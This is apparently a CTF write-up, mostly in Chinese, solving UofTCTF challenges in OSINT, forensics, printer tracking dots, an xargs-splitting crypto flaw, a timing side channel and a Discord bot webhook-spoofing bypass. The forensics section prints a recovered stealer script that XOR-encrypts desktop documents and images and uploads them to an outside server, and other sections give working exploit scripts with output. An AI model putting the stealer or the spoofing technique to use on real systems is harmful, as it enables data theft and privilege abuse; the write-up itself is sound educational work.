OSINT
Go Go Coaster!
Challenge
During an episode of Go Go Squid!, Han Shangyan was too scared to go on a roller coaster. What’s the English name of this roller coaster? Also, what’s its height in whole feet?
Flag format: uoftctf{Coaster_Name_HEIGHT}
Example: uoftctf{Yukon_Striker_999}
Notes:
- Flag is case-insenstive, just remember to replace spaces with underscores and no decimal points
Solution

上海欢乐谷的过山车,直接搜

Diving Coaster

64.9米 -> 213英尺
FLAG
uoftctf{Diving_Coaster_213}Forensics
Baby Exfil
Challenge
Team K&K has identified suspicious network activity on their machine. Fearing that a competing team may be attempting to steal confidential data through underhanded means, they need your help analyzing the network logs to uncover the truth.
Solution
筛选 http 流量,发现下载了一个 Python 脚本

追踪流获取到这个脚本
import osimport requests key = "G0G0Squ1d3Ncrypt10n"server = "http://34.134.77.90:8080/upload" def xor_file(data, key): result = bytearray() for i in range(len(data)): result.append(data[i] ^ ord(key[i % len(key)])) return bytes(result) base_path = r"C:\Users\squid\Desktop"extensions = ['.docx', '.png', ".jpeg", ".jpg"] for root, dirs, files in os.walk(base_path): for file in files: if any(file.endswith(ext) for ext in extensions): filepath = os.path.join(root, file) try: with open(filepath, 'rb') as f: content = f.read() encrypted = xor_file(content, key) hex_data = encrypted.hex() requests.post(server, files={'file': (file, hex_data)}) print(f"Sent: {file}") except: pass发现是窃取信息的脚本,加密方式是异或,密钥是 G0G0Squ1d3Ncrypt10n
直接在厨子解密就行,一张张试下来发现 flag 在 HNderw.png 里

FLAG
uoftctf{b4by_w1r3sh4rk_an4lys1s}My Pokemon Card is Fake!
Challenge
Han Shangyan noticed that recently, Tong Nian has been getting into Pokemon cards. So, what could be a better present than a literal prototype for the original Charizard? Not only that, it has been authenticated and graded a PRISTINE GEM MINT 10 by CGC!!!
Han Shangyan was able to talk the seller down to a modest 6-7 figure sum (not kidding btw), but when he got home, he had an uneasy feeling for some reason. Can you help him uncover the secrets that lie behind these cards?
What you will need to find:
- Date and time (relative to the printer, and 24-hour clock) that it was printed.
- Printer’s serial number.
The flag format will be uoftctf{YYYY_MM_DD_HH:MM_SERIALNUM}
Example: uoftctf{9999_09_09_23:59_676767676}
Notes:
- You’re free to dig more into the whole situation after you’ve solved the challenge, it’s very interesting, though so much hasn’t been or can’t be said :(
- Two days after I write this challenge, I’m going to meet the person whose name was used for all this again. Hopefully I’ll be back to respond to tickets!!!
Solution
这题有点费眼睛(
只需稍加搜索就能找到下面这几个帖子:
Many of the Pokemon playtest cards were likely printed in 2024 - Articles - Elite Fourum
Report of Observations Regarding the Pokemon Playtests/Prototype Cards - Articles - Elite Fourum

总结一下就是家用打印机会在打印的时候留下一些黄色点阵(Printer tracking dots - Wikipedia,搜索关键词 黄点追踪 也能找到),这是一种隐藏了打印机及操作时间的水印
再稍加搜索就能找到这个解密网站 Yellow Dots Decoder,接下来只要把黄点的位置记录下来然后在这个网站解密即可
直接在原图上点后期会没这么方便查看,因此我的做法是先在原图上面覆盖一个图层然后在上面把明显的黄点用黑色画笔描一下,由于可能会有观察错的情况,因此每个能观察到的点我都描了。最后把底下的图层撤掉得到下图:

然后在每块区域的顶上覆盖半透明的从解密网站上截下来的图(有点像冒险小虎队的解密卡哈哈哈),校准方式是右侧那串固定的连续的黄点,得到下面的一系列图片:

将多次连续出现的点在解密网站上点出即可

Date: 2024-8-6 at 21:49 — Printer Serial Number: 704641508
FLAG
uoftctf{2024_08_06_21:49_704641508}Misc
Encryption Service
Challenge
We made an encryption service. We forgot to make the decryption though. As compensation we are giving free encrypted flags
nc 34.86.4.154 5000
run.sh
#!/bin/sh OUTFILE="/tmp/input.txt" head -c 16 /dev/urandom | od -An -tx1 | tr -d ' ' > "$OUTFILE" echo "Welcome to the encryption service"echo "Please put in all your plaintexts"echo "End with EOF" while true; do read -r line if [ "$line" = "EOF" ]; then break fi echo "$line" >> "$OUTFILE"done echo "As a bonus we will also encrypt the flag for you" cat /flag.txt >> "$OUTFILE" echo "Here is the encryption."echo "$(cat "$OUTFILE" | xargs /app/enc.py)"enc.py
#!/usr/local/bin/python3 import sysfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom Crypto.Util.Padding import pad def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <hex_key> <plaintext...>") sys.exit(1) # arg1 = hex key key_hex = sys.argv[1] try: key = bytes.fromhex(key_hex) except ValueError: print("Invalid hex key") sys.exit(1) if len(key) != 16: sys.exit(1) # arg2..N = plaintext pt = "\n".join(sys.argv[2:]).encode() iv = get_random_bytes(16) cipher = AES.new(key, AES.MODE_CBC, iv) ct = cipher.encrypt(pad(pt, AES.block_size)) print(iv.hex() + ct.hex()) if __name__ == "__main__": main()Solution
这道题的核心漏洞在于 run.sh 中使用 xargs 将文件内容传递给 enc.py 进行加密的方式。
run.sh 生成一个随机的 Hex Key 写入 /tmp/input.txt 的第一行,然后追加用户的输入,最后追加 flag.txt 的内容。接着执行命令 cat "$OUTFILE" | xargs /app/enc.py,xargs 会读取文件内容,按空白字符(空格、换行)分割,并将它们作为参数传递给 enc.py。正常情况下命令结构是 /app/enc.py <随机Key> <用户输入...> <Flag>,enc.py 将第一个参数作为 AES Key,剩下的作为明文加密。
然而 Linux 系统对单条命令的参数长度有限制(通常 xargs 的缓冲区限制约为 128KB),输入太长超过了这个限制的话 xargs 就会把命令拆分成多次执行。
因此攻击方案是构造特定的输入让 xargs 进行拆分:
- 第一次执行:
/app/enc.py <随机Key> <前半部分填充数据>(这部分会被随机 Key 加密,解不开,也不需要解开) - 第二次执行:
/app/enc.py <构造的已知Key> <剩余的数据+flag>
要注意的是环境不太稳定,输出容易被截断,要多试几次
from pwn import *from Crypto.Cipher import AESimport time context.log_level = 'info'io = remote('34.86.4.154', 5000, timeout=5) def attempt(attempt_count): log.info(f"第 {attempt_count} 次连接") try: io.recvuntil(b"End with EOF\n", timeout=5) key_hex = "0" * 32 key_bytes = bytes.fromhex(key_hex) pad_lines = 5600 # payload行数 payload = (key_hex + "\n") * pad_lines io.send(payload.encode()) io.sendline(b"EOF") try: io.recvuntil(b"Here is the encryption.\n", timeout=10) except Exception: io.close() return False # 接收所有加密数据 response = io.recvall(timeout=10).decode(errors='ignore').strip() io.close() if not response: return False parts = response.split('\n') # 过滤空行 parts = [p for p in parts if p] # flag 在后面,倒序检查 for _, part in enumerate(reversed(parts)): try: # 修复可能的截断(奇数长度) if len(part) % 2 != 0: part = part[:-1] iv_hex = part[:32] ct_hex = part[32:] iv = bytes.fromhex(iv_hex) ct = bytes.fromhex(ct_hex) cipher = AES.new(key_bytes, AES.MODE_CBC, iv) decrypted_padded = cipher.decrypt(ct) plaintext = decrypted_padded.decode(errors='ignore') # 检查 flag if "uoftctf{" in plaintext: # 提取 flag start = plaintext.find("flag{") if start == -1: start = plaintext.find("uoftctf") # 打印 flag 行 print(plaintext[start:].split('\n')[0]) return True except Exception: continue return False except Exception as e: io.close() return False for i in range(1, 11): if attempt(i): break time.sleep(1)FLAG
uoftctf{x4rgs_d03sn7_run_in_0n3_pr0c3ss}Guess The Number
Challenge
Guess my super secret number
nc 35.231.13.90 5000
chall.py
#!/usr/local/bin/python3import randomfrom ast import literal_eval MAX_NUM = 1<<100QUOTA = 50 def evaluate(exp, x): if isinstance(exp, int) or isinstance(exp, bool): return exp if isinstance(exp, str): if exp == 'x': return x else: raise ValueError("Invalid variable") if not isinstance(exp, dict): raise ValueError("Invalid expression") match exp['op']: case "and": return evaluate(exp['arg1'], x) and evaluate(exp['arg2'], x) case "or": return evaluate(exp['arg1'], x) or evaluate(exp['arg2'], x) case ">": return evaluate(exp['arg1'], x) > evaluate(exp['arg2'], x) case ">=": return evaluate(exp['arg1'], x) >= evaluate(exp['arg2'], x) case "<": return evaluate(exp['arg1'], x) < evaluate(exp['arg2'], x) case "<=": return evaluate(exp['arg1'], x) <= evaluate(exp['arg2'], x) case "+": return evaluate(exp['arg1'], x) + evaluate(exp['arg2'], x) case "-": return evaluate(exp['arg1'], x) - evaluate(exp['arg2'], x) case "*": return evaluate(exp['arg1'], x) * evaluate(exp['arg2'], x) case "/": return evaluate(exp['arg1'], x) // evaluate(exp['arg2'], x) case "**": return evaluate(exp['arg1'], x) ** evaluate(exp['arg2'], x) case "%": return evaluate(exp['arg1'], x) % evaluate(exp['arg2'], x) case "not": return not evaluate(exp['arg1'], x) wins = 0x = random.randint(0, MAX_NUM)for i in range(QUOTA): expression = literal_eval(input(f"Input your expression ({i}/{QUOTA}): ")) if bool(evaluate(expression, x)): print("Yes!") else: print("No!") guess = int(input("Guess the number: "))if guess == x: print("Yay you won! Here is the flag: ") print(open("flag.txt", 'r').read())else: print("Wrong. Good luck next time.")Solution
根据信息论,一次返回 Yes/No 的询问只能提供 1 bit 的信息量。总询问次数为 50 次,理论最大获知信息量为
如果在一次查询中我们能区分出 4 种状态,那么单次查询获取获取到的信息将会扩展到 2 bits,
查看 chall.py 发现 evaluate 函数支持以下操作算术运算、逻辑运算、比较运算。Python 的整数幂运算 ** 耗时与指数大小呈超线性关系,因此这里可以利用计算耗时作为第二个维度的信息载体。
我们每次处理 or 运算符的短路特性构造出以下分层逻辑:
| 目标值 | 二进制 | 逻辑条件 | 附加操作 | 预期响应 | 区分特征 |
|---|---|---|---|---|---|
| 0 | 00 | 无 | ”No!” | 字符串内容 | |
| 1 | 01 | 无 | ”Yes!” | 响应极快 | |
| 2 | 10 | 计算 | “Yes!” | 响应中等 | |
| 3 | 11 | 计算 | “Yes!” | 响应极慢 |
构造的 Payload 逻辑:
(v >= 3 and 3**P2) or (v >= 2 and 3**P1) or (v >= 1)- 如果
:第一个条件命中,执行 (耗时长),返回 True - 如果
:第一个条件失败;第二个条件命中,执行 (耗时中等),返回 True - 如果
:前两个失败;第三个条件命中,无耗时计算,返回 True - 如果
:全部失败,返回 False
接下来就是痛苦的调参过程了,要找到能对抗网络抖动和服务器性能差异的 P1 和 P2
from pwn import *import time io = remote('35.231.13.90', 5000) P1 = 1600000 P2 = 2500000 # 阈值LIMIT_FAST = 1.4 # < 1.4s -> 01 (Fast/Jitter)LIMIT_MED = 3.6 # < 3.6s -> 10 (Med)# > 3.6s -> 11 (Slow) def make_op(op, a1, a2): return {'op': op, 'arg1': a1, 'arg2': a2} def make_delay(power): return make_op('**', 3, power) def get_2bits_val(k): # (x // 2^k) % 4 return make_op('%', make_op('/', 'x', 1 << k), 4) final_x = 0 print(f"[*] P1={P1}, P2={P2}")print(f"[*] 阈值: Fast < {LIMIT_FAST}s | Med < {LIMIT_MED}s | Slow > {LIMIT_MED}s") start_total = time.time() for i in range(50): k = i * 2 val_exp = get_2bits_val(k) # (v>=3 & DelayP2) OR (v>=2 & DelayP1) OR (v>=1) term3 = make_op('and', make_op('>=', val_exp, 3), make_delay(P2)) term2 = make_op('and', make_op('>=', val_exp, 2), make_delay(P1)) term1 = make_op('>=', val_exp, 1) payload = make_op('or', term3, make_op('or', term2, term1)) payload_str = str(payload).replace(" ", "") io.recvuntil(f"({i}/50): ".encode()) s_time = time.time() io.sendline(payload_str.encode()) resp = io.recvline().strip().decode() e_time = time.time() duration = e_time - s_time bits_val = 0 state = "Unknown" if resp == "No!": bits_val = 0 state = "No (00)" else: if duration < LIMIT_FAST: bits_val = 1 state = f"Yes (01) [Fast]" elif duration < LIMIT_MED: bits_val = 2 state = f"Yes (10) [Med ]" else: bits_val = 3 state = f"Yes (11) [Slow]" total_elapsed = e_time - start_total print(f"[{i:02d}] T:{duration:.4f}s | Bits:{bits_val} | {state} | Total:{total_elapsed:.1f}s") final_x += bits_val * (1 << k) print(f"\n[*] x: {final_x}") io.sendlineafter(b"Guess the number: ", str(final_x).encode())print(io.recvall(timeout=5).decode())io.close()经过多次调试,用 P1=1600000,P2=2500000 解出来了
[x] Opening connection to 35.231.13.90 on port 5000[x] Opening connection to 35.231.13.90 on port 5000: Trying 35.231.13.90[+] Opening connection to 35.231.13.90 on port 5000: Done[*] P1=1600000, P2=2500000[*] 阈值: Fast < 1.4s | Med < 3.6s | Slow > 3.6s[00] T:5.2801s | Bits:3 | Yes (11) [Slow] | Total:5.6s[01] T:2.0436s | Bits:2 | Yes (10) [Med ] | Total:7.6s[02] T:2.9430s | Bits:2 | Yes (10) [Med ] | Total:10.6s[03] T:0.2489s | Bits:1 | Yes (01) [Fast] | Total:10.8s[04] T:1.7936s | Bits:2 | Yes (10) [Med ] | Total:12.6s[05] T:0.2499s | Bits:0 | No (00) | Total:12.9s[06] T:0.2493s | Bits:1 | Yes (01) [Fast] | Total:13.1s[07] T:4.5344s | Bits:3 | Yes (11) [Slow] | Total:17.6s[08] T:0.2492s | Bits:0 | No (00) | Total:17.9s[09] T:2.6965s | Bits:2 | Yes (10) [Med ] | Total:20.6s[10] T:0.2488s | Bits:0 | No (00) | Total:20.8s[11] T:4.7830s | Bits:3 | Yes (11) [Slow] | Total:25.6s[12] T:0.2490s | Bits:1 | Yes (01) [Fast] | Total:25.9s[13] T:0.2488s | Bits:1 | Yes (01) [Fast] | Total:26.1s[14] T:0.2508s | Bits:0 | No (00) | Total:26.4s[15] T:0.2503s | Bits:1 | Yes (01) [Fast] | Total:26.6s[16] T:0.7071s | Bits:0 | No (00) | Total:27.3s[17] T:0.2480s | Bits:0 | No (00) | Total:27.6s[18] T:0.7024s | Bits:1 | Yes (01) [Fast] | Total:28.3s[19] T:5.7373s | Bits:3 | Yes (11) [Slow] | Total:34.0s[20] T:1.5950s | Bits:2 | Yes (10) [Med ] | Total:35.6s[21] T:2.9403s | Bits:2 | Yes (10) [Med ] | Total:38.6s[22] T:2.0473s | Bits:2 | Yes (10) [Med ] | Total:40.6s[23] T:5.0323s | Bits:3 | Yes (11) [Slow] | Total:45.6s[24] T:0.2484s | Bits:0 | No (00) | Total:45.9s[25] T:0.2493s | Bits:0 | No (00) | Total:46.1s[26] T:2.4441s | Bits:2 | Yes (10) [Med ] | Total:48.6s[27] T:5.0366s | Bits:3 | Yes (11) [Slow] | Total:53.6s[28] T:0.2490s | Bits:1 | Yes (01) [Fast] | Total:53.9s[29] T:0.2509s | Bits:0 | No (00) | Total:54.1s[30] T:2.4473s | Bits:2 | Yes (10) [Med ] | Total:56.6s[31] T:2.0461s | Bits:2 | Yes (10) [Med ] | Total:58.6s[32] T:5.9317s | Bits:3 | Yes (11) [Slow] | Total:64.6s[33] T:0.2473s | Bits:0 | No (00) | Total:64.8s[34] T:0.2478s | Bits:1 | Yes (01) [Fast] | Total:65.1s[35] T:0.2495s | Bits:1 | Yes (01) [Fast] | Total:65.3s[36] T:5.3223s | Bits:3 | Yes (11) [Slow] | Total:70.6s[37] T:0.2499s | Bits:1 | Yes (01) [Fast] | Total:70.9s[38] T:6.1495s | Bits:3 | Yes (11) [Slow] | Total:77.0s[39] T:0.2492s | Bits:0 | No (00) | Total:77.3s[40] T:0.2487s | Bits:0 | No (00) | Total:77.5s[41] T:2.0671s | Bits:2 | Yes (10) [Med ] | Total:79.6s[42] T:5.0335s | Bits:3 | Yes (11) [Slow] | Total:84.6s[43] T:0.2495s | Bits:0 | No (00) | Total:84.9s[44] T:2.6962s | Bits:2 | Yes (10) [Med ] | Total:87.6s[45] T:0.2484s | Bits:1 | Yes (01) [Fast] | Total:87.8s[46] T:4.8030s | Bits:3 | Yes (11) [Slow] | Total:92.6s[47] T:0.2489s | Bits:1 | Yes (01) [Fast] | Total:92.9s[48] T:2.7004s | Bits:2 | Yes (10) [Med ] | Total:95.6s[49] T:5.0352s | Bits:3 | Yes (11) [Slow] | Total:100.6s[*] x: 1145781467477418760816437023339[x] Receiving all data[x] Receiving all data: 0B[x] Receiving all data: 70B[+] Receiving all data: Done (70B)[*] Closed connection to 35.231.13.90 port 5000Yay you won! Here is the flag:uoftctf{h0w_did_y0u_gu3ss_7h3_numb3r}FLAG
uoftctf{h0w_did_y0u_gu3ss_7h3_numb3r}K&K Training Room
Challenge
Welcome to the K&K Training Room. Before every match, players must check in through the bot.
A successful check in grants the K&K role, opening access to team channels and match coordination.
https://discord.gg/3u6V8uAGm7
index.js
const { Client, GatewayIntentBits, Events, EmbedBuilder, MessageFlags,} = require('discord.js'); /* ───────────────────── CONFIG ───────────────────── */ const CONFIG = { ROLE_NAME: 'K&K', ADMIN_NAME: 'admin', WEBHOOK_NAME: 'K&K Announcer', TARGET_GUILD_ID: '1455821434927579198',}; /* ───────────────────── CLIENT ───────────────────── */ const client = new Client({ intents: [ GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages, GatewayIntentBits.MessageContent, ],}); /* ───────────────────── DATA ───────────────────── */ const HAN_SHANGYAN_QUOTES = [ "I'm yours. Sooner or later, I will be.", "Except for you, no one else matters to me.", "Romance isn't important. A lifetime is. I'll give you all of it.", "My little squid, I'll take responsibility for you.", "I don't know how to talk sweetly, but everything I do is for you.", "To you, I might just be one relationship. To me, you are my life.", "As long as you're willing to stay, I won't let go.", "I don't like explaining myself, but for you, I will.", "Winning is important, but you matter more.", "I'm not good at promises. If I say it, I mean it.", "I don't need the world to understand me. You understanding me is enough.", "I won't say I love you often, but I'll prove it every day.", "I've waited a long time. I can wait for you too.", "If you want me, then I'm yours.", "I'm not gentle by nature. My gentleness is only for you.", "I don't know what the future holds, but I know I want you in it.", "I won't let anyone bully you. Not now, not ever.", "You're not a distraction. You're my motivation.", "If you fall behind, I'll slow down and walk with you.", "I'm not afraid of losing games. I'm afraid of losing you.", "I don't chase happiness. I protect it.", "I may look cold, but everything I do is serious.", "As long as you're here, I'm home.", "I don't need applause. I need you.", "You don't need to grow up so fast. I'm here.", "I'll handle the hard parts. You just stay happy.", "I don't talk much, but I'll always show up.", "If you believe in me, I'll win for you.", "I don't regret meeting you. Not even once.", "From now on, your future includes me.",]; /* ───────────────────── HELPERS ───────────────────── */ const randomQuote = () => HAN_SHANGYAN_QUOTES[Math.floor(Math.random() * HAN_SHANGYAN_QUOTES.length)]; const isAdmin = (message) => message.author.username === CONFIG.ADMIN_NAME; /* ───────────────────── EVENTS ───────────────────── */ client.on(Events.MessageCreate, async (message) => { if (message.content !== '!webhook') return; if (!isAdmin(message)) { return message.reply(`Only \`${CONFIG.ADMIN_NAME}\` can set up the K&K announcer webhook.`); } const webhooks = await message.channel.fetchWebhooks(); const existingWebhook = webhooks.find((w) => w.owner?.id === client.user.id); if (existingWebhook) { return message.reply('Announcer webhook already exists.'); } try { const webhook = await message.channel.createWebhook({ name: CONFIG.WEBHOOK_NAME, }); const embed = new EmbedBuilder() .setTitle('Announcer Webhook Created!') .setDescription(webhook.url) .setFooter({ text: `“${randomQuote()}” — Gun` }) .setColor(0xe4bfc8); await message.reply({ embeds: [embed] }); } catch (err) { console.error('Webhook creation failed:', err); message.reply('Failed to create announcer webhook.'); }}); client.on(Events.InteractionCreate, async (interaction) => { if (!interaction.isButton() || interaction.customId !== 'checkin') return; const guild = client.guilds.cache.get(CONFIG.TARGET_GUILD_ID); if (!guild) { return interaction.reply({ content: `Could not access guild (${CONFIG.TARGET_GUILD_ID}).`, flags: MessageFlags.Ephemeral, }); } const role = guild.roles.cache.find(r => r.name === CONFIG.ROLE_NAME); if (!role) { return interaction.reply({ content: `Role **${CONFIG.ROLE_NAME}** not found in **${guild.name}**.`, flags: MessageFlags.Ephemeral, }); } let member; try { member = await guild.members.fetch(interaction.user.id); } catch { return interaction.reply({ content: `You're not a member of **${guild.name}**.`, flags: MessageFlags.Ephemeral, }); } const alreadyHasRole = member.roles.cache.has(role.id); if (!alreadyHasRole) { try { await member.roles.add(role); } catch (err) { console.error('Role assignment failed:', err); return interaction.reply({ content: 'Failed to assign role. Check bot permissions.', flags: MessageFlags.Ephemeral, }); } } return interaction.reply({ content: alreadyHasRole ? `You're already checked in at **${guild.name}**.` : `Checked in at **${guild.name}**! Assigned **${role.name}**.`, flags: MessageFlags.Ephemeral, });}); /* ───────────────────── START ───────────────────── */ client.login("");Solution
这题目是一道 Discord Bot 的逻辑漏洞题,index.js 存在鉴权缺陷。
在代码的 HELPERS 部分有一个鉴权函数:
const isAdmin = (message) => message.author.username === CONFIG.ADMIN_NAME;而在 CONFIG 中,ADMIN_NAME 被定义为 'admin'。
在 discord 中 message.author.username 并不一定是真实的注册用户,webhook 发送的消息也会触发 MessageCreate 事件,并且 webhook 的 username 是可以在发送消息时任意自定义的。如果通过 webhook 发送一条内容为 !webhook 的消息,并将 webhook 的显示名称设置为 admin,机器人就会认为这条消息是管理员发送的,从而执行后续逻辑。
先创建一个服务器用于测试 https://discord.com/channels/1460018687301128224/1460018688135790846
然后加入题目描述中的服务器,按照下图操作获取到这个 bot 的链接 https://discord.com/oauth2/authorize?client_id=1455821262684164196

然后使用这个链接把它邀请到前面创好的测试服务器 https://discord.com/api/oauth2/authorize?client_id=1455821262684164196&permissions=8&scope=bot

然后创建一个 webhook:点击频道名旁的齿轮 -> Integrations -> Webhooks -> New Webhook
然后通过这个接口伪造 admin 发送命令 !webhook
import http.clientimport jsonfrom urllib.parse import urlparse WEBHOOK = "https://discord.com/api/webhooks/1460020912211628155/H_lR5yetAaKK0IotdxvJ3-xC2MinyLF2h4gV_QnGwb9pAI56TJxPNrmpz9-UrgTAL1pd" p = urlparse(WEBHOOK)conn = http.client.HTTPSConnection(p.netloc) payload = { "username": "admin", "content": "!webhook" } conn.request("POST", p.path, json.dumps(payload), {'Content-Type': 'application/json'})res = conn.getresponse()print(res.status)
用 GET 方法访问得到以下返回:
{ "application_id": "1455821262684164196", "avatar": null, "channel_id": "1460018688135790846", "guild_id": "1460018687301128224", "id": "1460022835677495388", "name": "K&K Announcer", "type": 1, "token": "mqGeiLb4FMF20t7ZpshWYBMN0SxvRVi-wZGOIwyyJ1CIpJ96LiTVa3oFPqd1H0ojXewR", "url": "https://discord.com/api/webhooks/1460022835677495388/mqGeiLb4FMF20t7ZpshWYBMN0SxvRVi-wZGOIwyyJ1CIpJ96LiTVa3oFPqd1H0ojXewR"}发现这个 webhook 就在当前服务器,因此直接发送带 checkin 按钮的消息即可
import http.clientimport jsonfrom urllib.parse import urlparse WEBHOOK = "https://discord.com/api/webhooks/1460022835677495388/mqGeiLb4FMF20t7ZpshWYBMN0SxvRVi-wZGOIwyyJ1CIpJ96LiTVa3oFPqd1H0ojXewR" p = urlparse(WEBHOOK)conn = http.client.HTTPSConnection(p.netloc) payload = { "components": [{ "type": 1, "components": [{ "type": 2, "style": 1, "label": "checkin", "custom_id": "checkin" }] }]} conn.request("POST", p.path, json.dumps(payload), {'Content-Type': 'application/json'})res = conn.getresponse()print(res.status)
点击按钮回到题目服务器就会发现解锁了一个新频道

上文中创建的 webhook 和测试用服务器已删除。顺便提一个小技巧,因为网络原因在本地发包失败的话可以试试看在 Colab 发包(因为我就是这么干的)

FLAG
uoftctf{tr41n_h4rd_w1n_345y_a625e2acd5ed}